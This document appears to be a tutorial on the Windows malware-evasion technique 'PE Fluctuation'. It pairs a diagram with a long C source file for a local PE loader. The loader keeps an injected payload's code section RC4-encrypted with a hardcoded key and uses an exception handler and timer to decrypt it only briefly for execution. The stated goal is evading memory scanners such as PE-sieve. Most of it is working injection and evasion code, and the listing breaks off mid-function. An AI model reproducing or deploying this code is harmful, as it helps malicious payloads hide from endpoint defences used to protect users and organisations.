PE-Fluctuation
What is it?
Extends Local PE Injection with an encrypt/decrypt cycle — the injected PE’s executable section (.text) is RC4-encrypted at rest and only decrypted for a 1-second window when it needs to run. A Vectored Exception Handler (VEH) triggers the decrypt on access violation, and a timer callback re-encrypts after the window expires.
How it works
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
Globals (set once during PE injection setup):
g_uPeRXAddress → base of the injected PE's .text section
g_sPeRXSize → size of that section
g_hTimerQueue → timer queue handle
g_hTimer → active timer handle
RC4 key (hardcoded):
{ 0xFF, 0xDD, 0x79, 0x7F, 0x03, 0xA5, 0x87, 0xEF,
0x71, 0x4D, 0xDB, 0x7D, 0xF4, 0x47, 0x77, 0x01 }
(16 bytes, used by SystemFunction032 from Advapi32)
Rc4EncryptDecrypt(pBuffer, dwBufferLen, bDecrypt):
VirtualProtect(pBuffer, len, PAGE_READWRITE)
SystemFunction032(&dataStruct, &keyStruct) ← RC4 in-place
VirtualProtect(pBuffer, len,
bDecrypt ? PAGE_EXECUTE_READ : PAGE_READONLY)
bDecrypt=TRUE → decrypt → promote to RX (payload can execute)
bDecrypt=FALSE → encrypt → demote to RO (payload dormant)
Fluctuation cycle:
┌─────────────────────────────────────────────────────────────┐
│ Initial state: .text section encrypted + PAGE_NOACCESS │
│ (memory exists but any access = immediate exception) │
└─────────────────────────────────────────────────────────────┘
│ transfer control to payload entry point
▼
┌─────────────────────────────────────────────────────────────┐
│ EXCEPTION_ACCESS_VIOLATION fires │
│ VEH catches it (registered with AddVectoredExceptionHandler)│
└─────────────────────────────────────────────────────────────┘
│
▼
VEH handler:
Rc4EncryptDecrypt(g_uPeRXAddress, g_sPeRXSize, TRUE)
→ .text decrypted, promoted to PAGE_EXECUTE_READ
CreateTimerQueueTimer(g_hTimerQueue, TimerCallback,
PE_EXPOSURE * 1000 = 1000ms)
→ Timer armed for 1 second
ExceptionInfo->ContextRecord->Rip = g_uPeRXAddress
return EXCEPTION_CONTINUE_EXECUTION
→ CPU retries the faulting instruction, now with RX memory
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Payload executes (1 second window) │
│ Memory scanner running now: sees RX region with content │
└─────────────────────────────────────────────────────────────┘
│ 1 second later
▼
TimerCallback:
Rc4EncryptDecrypt(g_uPeRXAddress, g_sPeRXSize, FALSE)
→ .text re-encrypted, demoted to PAGE_READONLY
VirtualProtect(g_uPeRXAddress, g_sPeRXSize, PAGE_NOACCESS)
→ Next access triggers VEH again
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Payload encrypted again — cycle repeats 5-7 times │
│ Memory scanner running now: sees encrypted noise │
└─────────────────────────────────────────────────────────────┘
SystemFunction032 is an undocumented Advapi32 export that implements RC4 — it takes two USTRING structs (data and key) and encrypts/decrypts in-place. Using an undocumented function rather than your own RC4 loop avoids a recognizable implementation pattern in the binary.
The VEH approach is cleaner than a manual loop because the exception handler intercepts the fault transparently — the payload code doesn’t need to know about the encryption cycle. It just tries to execute, the VEH handles the decryption setup, and EXCEPTION_CONTINUE_EXECUTION restarts the instruction that faulted as if nothing happened.
pe-fluctuation.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
/*
* PE Fluctuation - Memory Evasion
Our initial Local PE Injection implementation left the payload unencrypted in memory after execution. This made it trivially detectable by tools like PE-sieve, which scan for executable regions matching known PE signatures
Concept:
PE Fluctuation keeps the payload encrypted in memory at rest. It is only decrypted for the brief window in which it needs to execute, then immediately re-encrypted. From a scanner's perspective, the PE never persistently exists as readable, executable code
Implementation:
1. Set the payload memory region to PAGE_NOACCESS after encryption. Any attempt to access it will trigger an EXCEPTION_ACCESS_VIOLATION.
2. Register a Vectored Exception Handler (VEH) that intercepts that exception, decrypts the payload in-place, and promotes the region's permissions to RX (read/execute) so execution can proceed.
3. Set up a timer via CreateTimerQueueTimer. The callback re-encrypts the payload and demotes the region back to PAGE_NOACCESS.
4. Transfer control to the payload entry point. The VEH fires, decrypts, and execution begins.
5. The interval between step 4 and the timer callback is the execution window — the only period the payload exists in a readable state.
6. This encrypt -> execute -> re-encrypt cycle repeats 5-7 times until the process terminates.
*/
// Code reused from Local PE Injection
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#define RC4_KEY_SIZE 0x10 // 16 bytes
#define PE_EXPOSURE 1 // in seconds
/*
Globals shared between the VEH, the timer callback, and FixMemPermissions.
Populated by FixMemPermissions() during section permission setup.
g_uPeRXAddress -> Base address of the injected PE's RX (.text) section in the current process.
This is the memory region subject to fluctuation -- it is the target of all
encrypt/decrypt operations and the address range the VEH monitors for
EXCEPTION_ACCESS_VIOLATION faults caused by PAGE_NOACCESS/PAGE_READONLY protection.
g_sPeRXSize -> Size in bytes of the RX section, used as the length argument for every
VirtualProtect and Rc4EncryptDecrypt call that operates on that region.
g_hTimer -> Handle to the active timer-queue timer. Reused across fluctuation cycles --
each VEH invocation re-arms it via CreateTimerQueueTimer after decrypting.
g_hTimerQueue -> Handle to the timer queue that owns g_hTimer. Created once in PE_Fluctuation
and checked in the VEH before re-arming the timer.
*/
ULONG_PTR g_uPeRXAddress = NULL;
SIZE_T g_sPeRXSize = NULL;
HANDLE g_hTimer = NULL;
HANDLE g_hTimerQueue = NULL;
typedef struct _USTRING {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING, * PUSTRING;
typedef NTSTATUS(NTAPI* fnSystemFunction032)(PUSTRING Data, PUSTRING Key);
/*
RC4 encrypt/decrypt the injected PE's RX (.text) section in-place using SystemFunction032 Advapi32's undocumented RC4 implementation
bDecrypt == TRUE -> result protection is PAGE_EXECUTE_READ (payload is now live)
bDecrypt == FALSE -> result protection is PAGE_READONLY (payload is now dormant)
pBuffer -> Pointer to the memory region to encrypt/decrypt (typically g_uPeRXAddress)
dwBufferLen -> Size of the region in bytes (typically g_sPeRXSize)
bDecrypt -> TRUE to decrypt (RX result), FALSE to encrypt (RO result)
*/
BOOL Rc4EncryptDecrypt(_In_ PBYTE pBuffer, _In_ DWORD dwBufferLen, _In_ BOOL bDecrypt) {
NTSTATUS STATUS = NULL;
BYTE Rc4Key[RC4_KEY_SIZE] = { 0xFF, 0xDD, 0x79, 0x7F, 0x03, 0xA5, 0x87, 0xEF, 0x71, 0x4D, 0xDB, 0x7D, 0xF4, 0x47, 0x77, 0x01 };
USTRING uStrBuffer = { .Buffer = pBuffer, .Length = dwBufferLen, .MaximumLength = dwBufferLen };
USTRING uStrKey = { .Buffer = Rc4Key, .Length = RC4_KEY_SIZE, .MaximumLength = RC4_KEY_SIZE };
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibrary(TEXT("Advapi32")), "SystemFunction032");
DWORD dwOldProtection = 0x00;
if (!pBuffer || !dwBufferLen)
return FALSE;
// Change memory permissions to RW to be able to encrypt/decrypt
if (!VirtualProtect(pBuffer, dwBufferLen, PAGE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed: %d\n", GetLastError());
return FALSE;
}
// Encrypt/Decrypt
if ((STATUS = SystemFunction032(&uStrBuffer, &uStrKey)) != 0x0) {
printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
return FALSE;
}
// Set memory permissions to RO/RX
if (!VirtualProtect(pBuffer, dwBufferLen, (bDecrypt == TRUE ? PAGE_EXECUTE_READ : PAGE_READONLY), &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
VOID CALLBACK ObfuscationTimerCallback(IN PVOID lpParameter, IN BOOLEAN TimerOrWaitFired) {
Rc4EncryptDecrypt(g_uPeRXAddress, g_sPeRXSize, FALSE);
}
/*
Vectored Exception Handler responsible for decrypting the PE payload on demand.
When the payload's .text section is encrypted and set to PAGE_READONLY (dormant state),
any attempt to execute from it raises an EXCEPTION_ACCESS_VIOLATION.
This handler intercepts that fault, verifies the faulting address falls within the known RX region (g_uPeRXAddress .. g_uPeRXAddress + g_sPeRXSize), and if so:
1. Decrypts the region via Rc4EncryptDecrypt, promoting it to PAGE_EXECUTE_READ
2. Re-arms the obfuscation timer so the region is re-encrypted after PE_EXPOSURE seconds
3. Returns EXCEPTION_CONTINUE_EXECUTION to resume at the faulting instruction
pExceptionInfo -> Pointer to the EXCEPTION_POINTERS structure provided by the OS containing both the exception record and the thread context at fault time
*/
LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) {
printf("[!] Exception Raised [!]: \n");
printf("\t> Code: 0x%0.8X \n", pExceptionInfo->ExceptionRecord->ExceptionCode);
printf("\t> Address: 0x%p \n", pExceptionInfo->ExceptionRecord->ExceptionAddress);
printf("\t> State: ");
// Only handle access violations -- anything else (e.g. STATUS_ILLEGAL_INSTRUCTION) is not ours
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Confirm the fault address falls inside the encrypted RX region.
if (pExceptionInfo->ExceptionRecord->ExceptionAddress >= g_uPeRXAddress &&
pExceptionInfo->ExceptionRecord->ExceptionAddress <= (g_uPeRXAddress + g_sPeRXSize)) {
printf("[*] HANDLED [*] \n");
// Sanity check
if (!g_hTimerQueue || !g_hTimer)
goto _FAILURE;
// Decrypt the RX region in-place and promote it to PAGE_EXECUTE_READ so the CPU can resume execution at the faulting instruction once we return.
if (!Rc4EncryptDecrypt(g_uPeRXAddress, g_sPeRXSize, TRUE))
goto _FAILURE;
// Re-arm the timer. After PE_EXPOSURE seconds ObfuscationTimerCallback fires, re-encrypts the region, and demotes it back to PAGE_READONLY
if (!CreateTimerQueueTimer(&g_hTimer, g_hTimerQueue, (WAITORTIMERCALLBACK)ObfuscationTimerCallback, NULL, PE_EXPOSURE * 1000, 0x00, 0x00)) {
printf("[!] CreateTimerQueueTimer Failed: %d\n", GetLastError());
goto _FAILURE;
}
// Resume execution at the instruction that caused the fault
return EXCEPTION_CONTINUE_EXECUTION;
}
}
printf("[-] UNHANDLED [-] \n");
_FAILURE:
return EXCEPTION_CONTINUE_SEARCH;
}
/*
Reads a file from disk into a heap-allocated buffer
cFileName -> Name of the PE file to read
ppAddress -> Receives a pointer to the heap buffer containing the file data
pdwFileSize -> Receives the size of the file in bytes
*/
BOOL ReadFileDisk(_In_ LPCSTR cFileName, _Out_ PBYTE* ppAddress, _Out_ PDWORD pdwFileSize) {
HANDLE hFile = INVALID_HANDLE_VALUE;
PBYTE pBuffer = NULL;
DWORD dwFileSize = 0x00,
dwNumBytesRead = 0x00;
// Verify parameters are filled
if (!cFileName || !ppAddress || !pdwFileSize)
return FALSE;
*ppAddress = NULL;
*pdwFileSize = 0;
// Open a handle to the existing file with read access
hFile = CreateFileA(cFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Get filesize of file to be read
dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE) {
printf("[!] GetFileSize Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Allocate memory for the file
pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
if (!pBuffer) {
printf("[!] HeapAlloc Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Reading file
if (!ReadFile(hFile, pBuffer, dwFileSize, &dwNumBytesRead, NULL) || dwFileSize != dwNumBytesRead) {
printf("[!] ReadFile Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Assign output parameters
*ppAddress = pBuffer;
*pdwFileSize = dwFileSize;
_CleanUp:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
if (!*ppAddress && pBuffer)
HeapFree(GetProcessHeap(), 0, pBuffer);
return ((*ppAddress != NULL) && (*pdwFileSize != 0x00)) ? TRUE : FALSE;
}
/*
PE header structure populated by ParsePEStruct(). Caches pointers to all relevant PE headers
and data directory entries so callers don't have to recompute them from the raw buffer repeatedly.
*/
typedef struct _PE_HDRS {
PBYTE pFileBuffer;
DWORD dwFileSize;
PIMAGE_NT_HEADERS pImgNtHdr;
PIMAGE_SECTION_HEADER pImgSecHdr;
PIMAGE_DATA_DIRECTORY pEntryImportDataDir;
PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir;
PIMAGE_DATA_DIRECTORY pEntryTLSDataDir;
PIMAGE_DATA_DIRECTORY pEntryExceptionDataDir;
PIMAGE_DATA_DIRECTORY pEntryExportDataDir;
BOOL bIsDLLFile;
} PE_HDR, * PPE_HDR;
/*
Parses a raw PE file buffer and populates a PE_HDR structure with pointers to the relevant headers
and data directory entries.
pPEHdr -> Pointer to the PE_HDR structure to populate
pFileBuffer -> Pointer to the raw PE file buffer in memory
dwFileSize -> Size of the raw PE file buffer (in bytes)
*/
BOOL ParsePEStruct(_Out_ PPE_HDR pPEHdr, _In_ PBYTE pFileBuffer, _In_ DWORD dwFileSize) {
// Verify parameters are filled
if (!pPEHdr || !pFileBuffer || !dwFileSize)
return FALSE;
// Assign function parameters to struct
pPEHdr->pFileBuffer = pFileBuffer;
pPEHdr->dwFileSize = dwFileSize;
pPEHdr->pImgNtHdr = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
// Check if NT Header is valid
if (pPEHdr->pImgNtHdr->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// Populate Elements to struct
pPEHdr->bIsDLLFile = (pPEHdr->pImgNtHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) ? TRUE : FALSE;
pPEHdr->pImgSecHdr = IMAGE_FIRST_SECTION(pPEHdr->pImgNtHdr);
pPEHdr->pEntryImportDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
pPEHdr->pEntryBaseRelocDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
pPEHdr->pEntryTLSDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
pPEHdr->pEntryExceptionDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
pPEHdr->pEntryExportDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
return TRUE;
}
/*
Resolves all imported function addresses for a PE image and patches them into the IAT.
Walks the import descriptor table, loads each referenced DLL via LoadLibraryA, and resolves
each function either by ordinal or by name via GetProcAddress.
pEntryImportDataDir -> Pointer to the import data directory entry
pPeBaseAddr -> Base address of the PE image mapped into memory
*/
BOOL InitIAT(_In_ PIMAGE_DATA_DIRECTORY pEntryImportDataDir, _In_ PBYTE pPeBaseAddr) {
// Check parameters filled
if (!pEntryImportDataDir || !pPeBaseAddr)
return FALSE;
// Current import descriptor one entry per imported DLL
PIMAGE_IMPORT_DESCRIPTOR pImgDescriptor = NULL;
// Walk the import descriptor array
for (SIZE_T i = 0; i < pEntryImportDataDir->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
pImgDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pPeBaseAddr + pEntryImportDataDir->VirtualAddress + i);
// Resolve current import descriptor from its RVA
if (pImgDescriptor->OriginalFirstThunk == NULL && pImgDescriptor->FirstThunk == NULL)
break;
// OriginalFirstThunk (INT) is the unmodified import name table
// Some linkers omit it fall back to FirstThunk (IAT) in that case
LPSTR cDllName = (LPSTR)(pPeBaseAddr + pImgDescriptor->Name);
ULONG_PTR uOriginalFirstThunkRVA = pImgDescriptor->OriginalFirstThunk;
ULONG_PTR uFirstThunkRVA = pImgDescriptor->FirstThunk;
SIZE_T sImgThunkSize = 0x00;
HMODULE hModule = NULL;
// Load the DLL into the current process so we can resolve its export(s)
hModule = LoadLibraryA(cDllName);
if (!hModule) {
printf("[!] LoadLibraryA Failed: %d \n", GetLastError());
return FALSE;
}
// Walk the thunk arrays for this DLL one entry per imported function
while (TRUE) {
// Get pointers to the first thunk and original first thunk data
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(pPeBaseAddr + uOriginalFirstThunkRVA + sImgThunkSize);
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(pPeBaseAddr + uFirstThunkRVA + sImgThunkSize);
PIMAGE_IMPORT_BY_NAME pImgImportByName = NULL;
ULONG_PTR pFuncAddress = 0;
// A zeroed thunk entry marks the end of this DLL's import list
if (pOriginalFirstThunk->u1.Function == NULL && pFirstThunk->u1.Function == 0)
break;
// High bit of Ordinal field set function is imported by ordinal, not by name
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
if (!(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, IMAGE_ORDINAL(pOriginalFirstThunk->u1.Ordinal)))) {
printf("[!] Could Not Import !%s#%d \n", cDllName, (int)pOriginalFirstThunk->u1.Ordinal);
FreeLibrary(hModule);
return FALSE;
}
}
// Ordinal flag not set resolve by function name via IMAGE_IMPORT_BY_NAME
else {
pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pPeBaseAddr + pOriginalFirstThunk->u1.AddressOfData);
if (!(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name))) {
printf("[!] Could Not Import !%s.%s \n", cDllName, pImgImportByName->Name);
FreeLibrary(hModule);
return FALSE;
}
}
// Patch the IAT entry with the resolved runtime address of the function
pFirstThunk->u1.Function = (ULONGLONG)pFuncAddress;
// Advance by one thunk entry (sizeof IMAGE_THUNK_DATA = pointer size)
sImgThunkSize += sizeof(IMAGE_THUNK_DATA);
}
}
return TRUE;
}
typedef struct _BASE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
/*
Applies base relocations to a PE image loaded at an address other than its preferred base.
pEntryBaseRelocDataDir -> Pointer to the base relocation data directory entry
pPeBaseAddr -> Address the PE image is currently loaded at
pPrefAddr -> The PE's preferred base address (from OptionalHeader.ImageBase)
*/
BOOL ApplyReloc(_In_ PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, _In_ ULONG_PTR pPeBaseAddr, _In_ ULONG_PTR pPrefAddr) {
// Verify parameters are filled
if (!pEntryBaseRelocDataDir || !pPeBaseAddr || !pPrefAddr)
return FALSE;
// Pointer to the beginning of the base relocation block
PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddr + pEntryBaseRelocDataDir->VirtualAddress);
// The difference between the current PE image base address and its preferable base address
ULONG_PTR uDeltaOffset = pPeBaseAddr - pPrefAddr;
// Pointer to individual base relocation entries.
PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;
// Iterate over all base relocation blocks inside the PE image
while (pImgBaseRelocation->VirtualAddress) {
// pointer to first entry of the current block
pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);
while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
// adjust relocation entry based on its relocation type
switch (pBaseRelocEntry->Type) {
case IMAGE_REL_BASED_DIR64:
*((ULONG_PTR*)(pPeBaseAddr + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
break;
case IMAGE_REL_BASED_HIGHLOW:
*((DWORD*)(pPeBaseAddr + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
break;
case IMAGE_REL_BASED_HIGH:
*((WORD*)(pPeBaseAddr + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
break;
case IMAGE_REL_BASED_LOW:
*((WORD*)(pPeBaseAddr + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
break;
case IMAGE_REL_BASED_ABSOLUTE:
break;
default:
printf("[!] Unknown relocation type: %d | Offset: 0x%08X \n", pBaseRelocEntry->Type, pBaseRelocEntry->Offset);
return FALSE;
}
pBaseRelocEntry++;
}
// Iterate over next realocation block
pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
}
return TRUE;
}
/*
Applies correct memory protection to each section of a PE image loaded into memory.
The image is initially mapped with blanket RW permissions -- this function inspects IMAGE_SECTION_HEADER.Characteristics and calls VirtualProtect to set the appropriate
R/W/X combination per section.
pPeBaseAddr -> Base address of the PE image
pImgNtHdr -> Pointer to the NT headers
pImgSecHdr -> Pointer to the first section header
*/
BOOL FixMemPermissions(_In_ ULONG_PTR pPeBaseAddr, _In_ PIMAGE_NT_HEADERS pImgNtHdr, _In_ PIMAGE_SECTION_HEADER pImgSecHdr) {
if (!pPeBaseAddr || !pImgNtHdr || !pImgSecHdr)
return FALSE;
// Loop through each section of the PE image.
for (DWORD i = 0; i < pImgNtHdr->FileHeader.NumberOfSections; i++) {
// Variables to store the new and old memory protections.
DWORD dwProtection = PAGE_NOACCESS, dwOldProtection = 0x00;
// Skip sections with no raw data or no mapped address
if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
continue;
// Determine memory protection based on section characteristics
// These characteristics dictate whether the section is readable, writable, executable etc
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
dwProtection = PAGE_WRITECOPY;
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
dwProtection = PAGE_READONLY;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
dwProtection = PAGE_READWRITE;
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
dwProtection = PAGE_EXECUTE;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
dwProtection = PAGE_EXECUTE_WRITECOPY;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)) {
dwProtection = PAGE_EXECUTE_READ;
if (!g_uPeRXAddress)
g_uPeRXAddress = pPeBaseAddr + pImgSecHdr[i].VirtualAddress;
if (!g_sPeRXSize)
g_sPeRXSize = pImgSecHdr[i].SizeOfRawData;
}
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
dwProtection = PAGE_EXECUTE_READWRITE;
// Apply the determined memory protection to the section
if (!VirtualProtect((PVOID)(pPeBaseAddr + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
printf("[!] VirtualProtect Failed: %d \n", GetLastError());
return FALSE;
}
}
return TRUE;
}
/*
Resolves a named export's address from a loaded PE image's export directory. Walks AddressOfNames to match cFuncName, then uses the parallel ordinal array
to index into AddressOfFunctions for the resolved address.
pEntryExportDataDir -> Pointer to the export data directory entry
pPeBaseAddr -> Base address of the PE image in memory
cFuncName -> Name of the exported function to resolve
*/
PVOID GetDllFunctionAddrs(_In_ PIMAGE_DATA_DIRECTORY pEntryExportDataDir, _In_ ULONG_PTR pPeBaseAddr, _In_ LPCSTR cFuncName) {
if (!pEntryExportDataDir || !pPeBaseAddr || !cFuncName)
return NULL;
// Nothing to search if the export directory is empty
if (!pEntryExportDataDir->VirtualAddress || !pEntryExportDataDir->Size)
return NULL;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pPeBaseAddr + pEntryExportDataDir->VirtualAddress);
// Parallel arrays: name[i] and ordinal[i] map to the same export; ordinal[i] indexes into the function address array
PDWORD pFunctionNameArray = (PDWORD)(pPeBaseAddr + pImgExportDir->AddressOfNames);
PDWORD pFunctionAddrArray = (PDWORD)(pPeBaseAddr + pImgExportDir->AddressOfFunctions);
PWORD pFunctionOrdinalArray = (PWORD)(pPeBaseAddr + pImgExportDir->AddressOfNameOrdinals);
// Export directory bounds -- used to detect forwarded exports
ULONG_PTR uExportDirStart = pPeBaseAddr + pEntryExportDataDir->VirtualAddress;
ULONG_PTR uExportDirEnd = uExportDirStart + pEntryExportDataDir->Size;
// Iterate named exports only
for (DWORD i = 0; i < pImgExportDir->NumberOfNames; i++) {
CHAR* pFunctionName = (CHAR*)(pPeBaseAddr + pFunctionNameArray[i]);
PVOID pFunctionAddr = (PVOID)(pPeBaseAddr + pFunctionAddrArray[pFunctionOrdinalArray[i]]);
if (strcmp(cFuncName, pFunctionName) != 0)
continue;
// If the address points inside the export directory, it's a forwarded export
if ((ULONG_PTR)pFunctionAddr >= uExportDirStart && (ULONG_PTR)pFunctionAddr < uExportDirEnd) {
printf("[!] Forwarded export skipped: %s -> %s\n", cFuncName, (CHAR*)pFunctionAddr);
return NULL;
}
return pFunctionAddr;
}
return NULL;
}
// Executing DLL
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
// Executing Exe
typedef BOOL(WINAPI* MAIN)();
// Forward Declaration
SIZE_T CharStringToWCharString(_Inout_ PWCHAR Destination, _In_ PCHAR Source, _In_ SIZE_T MaximumAllowed);
VOID FixArgs(_In_ OPTIONAL LPCSTR cArgs) {
PRTL_USER_PROCESS_PARAMETERS pParam = ((PPEB)__readgsqword(0x60))->ProcessParameters;
// Zero out the existing command line buffer before rebuilding it
RtlSecureZeroMemory(pParam->CommandLine.Buffer, pParam->CommandLine.MaximumLength);
if (cArgs) {
WCHAR* wArgumentsToPass = NULL;
WCHAR* wNewCommand = NULL;
// Allocate buffer for wide-char conversion of cArgs (+ null terminator)
SIZE_T cArgsLen = strlen(cArgs);
SIZE_T wArgsByteLen = (cArgsLen + 1) * sizeof(WCHAR);
wArgumentsToPass = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, wArgsByteLen);
if (!wArgumentsToPass) {
printf("[!] HeapAlloc Failed: %d \n", GetLastError());
return;
}
